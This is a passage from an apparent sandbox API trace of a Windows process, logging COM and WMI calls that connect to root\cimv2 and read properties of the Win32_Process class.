[5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc3a80) returned 0x0 [0139.608] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3a80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0139.608] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc3a80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc3aa0) returned 0x0 [0139.608] WbemLocator:IUnknown:Release (This=0x1bcc3a80) returned 0x0 [0139.608] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc3aa0) returned 0x0 [0139.608] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0139.608] WbemLocator:IUnknown:AddRef (This=0x1bcc3aa0) returned 0x3 [0139.609] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0139.609] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0139.609] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0139.609] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0139.609] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0139.609] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0139.609] WbemLocator:IUnknown:Release (This=0x1bcc3aa0) returned 0x2 [0139.609] WbemLocator:IUnknown:Release (This=0x1bcc3aa0) returned 0x1 [0139.609] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0139.609] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0139.609] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3aa0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc3aa0) returned 0x0 [0139.609] WbemLocator:IUnknown:AddRef (This=0x1bcc3aa0) returned 0x3 [0139.609] WbemLocator:IUnknown:Release (This=0x1bcc3aa0) returned 0x2 [0139.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0139.609] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0139.609] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.609] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc3ac0) returned 0x0 [0139.609] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc3ac0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bcc5c10) returned 0x0 [0139.775] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5c10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43160) returned 0x0 [0139.775] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43160, pProxy=0x1bcc5c10, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0139.775] WbemLocator:IUnknown:Release (This=0x1bc43160) returned 0x1 [0139.775] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5c10, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc431a0) returned 0x0 [0139.776] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5c10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43160) returned 0x0 [0139.776] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43160, pProxy=0x1bcc5c10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0139.776] WbemLocator:IUnknown:Release (This=0x1bc43160) returned 0x2 [0139.776] WbemLocator:IUnknown:Release (This=0x1bc431a0) returned 0x1 [0139.776] CoTaskMemFree (pv=0x1bcc2770) [0139.776] WbemLocator:IUnknown:AddRef (This=0x1bcc5c10) returned 0x2 [0139.777] WbemLocator:IUnknown:Release (This=0x1bcc3ac0) returned 0x0 [0139.777] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0139.777] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0139.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5c10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43170) returned 0x0 [0139.777] WbemLocator:IRpcOptions:Query (in: This=0x1bc43170, pPrx=0x1bcc3b20, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0139.777] WbemLocator:IUnknown:Release (This=0x1bc43170) returned 0x2 [0139.777] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0139.777] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0139.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5c10, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bcc5c10) returned 0x0 [0139.778] WbemLocator:IUnknown:Release (This=0x1bcc5c10) returned 0x2 [0139.778] SysStringLen (param_1=0x0) returned 0x0 [0139.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0139.778] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0139.778] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.778] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0139.778] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0139.778] IWbemServices:GetObject (in: This=0x1bcc5c10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa27760, ppCallResult=0x0) returned 0x0 [0139.781] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0139.781] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0139.782] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0139.782] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0139.782] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0139.782] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0139.782] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.784] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc3ac0) returned 0x0 [0139.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0139.784] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc94e70) returned 0x0 [0139.785] WbemDefPath:IUnknown:Release (This=0x1bcc3ac0) returned 0x0 [0139.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc94e70) returned 0x0 [0139.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0139.785] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0139.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0139.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0139.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc3ae0) returned 0x0 [0139.785] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3ae0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.785] WbemDefPath:IUnknown:Release (This=0x1bcc3ae0) returned 0x3 [0139.785] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0139.785] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0139.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0139.786] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0139.786] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x1 [0139.786] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0139.786] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0139.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc94e70) returned 0x0 [0139.786] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0139.786] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0139.786] WbemDefPath:IWbemPath:SetText (This=0x1bc94e70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0139.786] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0139.786] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0139.786] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0139.786] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0139.787] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0139.787] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0139.787] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0139.787] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0139.787] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0139.787] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0139.787] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0139.787] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0139.787] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.790] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3c80) returned 0x0 [0139.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3c80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0139.790] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3c80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94f30) returned 0x0 [0139.790] WbemDefPath:IUnknown:Release (This=0x1bcc3c80) returned 0x0 [0139.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94f30) returned 0x0 [0139.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0139.791] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0139.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0139.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0139.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3cc0) returned 0x0 [0139.791] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3cc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.791] WbemDefPath:IUnknown:Release (This=0x1bcc3cc0) returned 0x3 [0139.791] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0139.791] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0139.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0139.791] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0139.791] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x1 [0139.791] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0139.791] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0139.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94f30) returned 0x0 [0139.791] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0139.791] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0139.791] WbemDefPath:IWbemPath:SetText (This=0x1bc94f30, uMode=0x4, pszPath="") returned 0x0 [0139.792] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0139.792] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, 